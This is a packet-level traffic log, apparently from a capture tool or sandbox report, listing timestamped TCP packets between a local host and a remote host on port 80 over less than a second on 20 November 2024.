Nov 20, 2024 09:14:51.359510899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359522104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359534025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359544039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359548092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359555960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359566927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359576941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359577894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359591961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359600067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359615088 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359647989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359833956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359847069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359858036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359868050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359879017 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359889030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359893084 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359900951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359911919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.359920979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.359930992 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.360367060 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567214966 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567228079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567290068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567478895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567529917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567532063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567545891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567559004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567569971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567570925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567590952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567606926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567616940 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567642927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567655087 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567666054 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567682981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567692995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567713022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567790031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567800999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567812920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567822933 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567833900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567840099 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567846060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567852974 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567890882 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.567936897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567949057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567959070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567970991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567981005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.567992926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568005085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568006039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568017960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568027020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568053007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568063974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568074942 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568078041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568094015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568106890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568115950 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568126917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568137884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568147898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568155050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568160057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568171978 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568176031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568202019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568216085 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568335056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568346977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568357944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568368912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568380117 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568384886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568387032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568417072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568433046 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568478107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568490028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568500042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568505049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568521023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568532944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568552971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568578959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568646908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568659067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568669081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568680048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568691015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568716049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568716049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568716049 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568730116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568759918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568799973 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568810940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568820953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568836927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568844080 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568856001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568861008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568872929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568883896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568888903 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568900108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568913937 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568918943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568929911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568941116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568943024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568953037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568964005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.568968058 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.568979025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569011927 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569029093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569072962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569183111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569194078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569220066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569237947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569240093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569250107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569261074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569272041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569274902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569283962 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569295883 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569300890 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569308996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569320917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569329977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569330931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569339991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569344044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569355965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569364071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569380999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569384098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569418907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569430113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569462061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569474936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569502115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569524050 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569622993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569633961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569644928 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569664955 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569680929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569683075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569696903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569706917 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569713116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569725037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569735050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569736958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569746971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569757938 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569757938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569768906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569772959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569782019 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.569833040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.569833040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570039988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570050001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570061922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570075035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570085049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570086002 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570096970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570101976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570108891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570120096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570131063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570132971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570142031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570153952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570153952 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570167065 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570178986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570189953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570197105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570200920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570245981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570261002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570265055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570272923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570283890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570296049 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.570307016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570316076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.570343971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654526949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654558897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654572964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654632092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654645920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654658079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654670000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654680967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654691935 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654706001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654726982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654761076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654772043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654782057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654800892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654800892 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654813051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654824018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654834986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654867887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654928923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654941082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654951096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654961109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.654963970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.654983044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655000925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655009985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655029058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655035019 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655040026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655062914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655071974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655082941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655100107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655100107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655117035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655117035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655117035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655143023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655168056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655179977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655190945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655201912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655208111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655225039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655241013 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655270100 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655333042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655343056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655348063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655354023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655364990 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655369997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655381918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655395985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655425072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655594110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655605078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655630112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655635118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655651093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655663967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655667067 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655677080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655689001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655694962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655699968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655726910 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655755043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655755997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655769110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655780077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655791044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655802011 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655807018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655813932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655834913 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655846119 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655855894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655857086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655869961 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655894995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655921936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.655980110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.655992031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656002045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656013012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656023979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656033993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656044960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656049967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656056881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656069040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656080008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656100035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656107903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656124115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656157970 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656210899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656223059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656234026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656245947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656256914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656261921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656270027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656301022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656312943 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656356096 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656367064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656383991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656398058 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656404018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656404972 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656409979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656413078 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656421900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656433105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656440973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656445026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656476021 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656495094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656519890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656673908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656686068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656696081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656707048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656718016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656718016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656729937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656740904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656752110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:51.656764030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:51.656793118 CET	49701	80	192.168.2.11	42.193.100.57
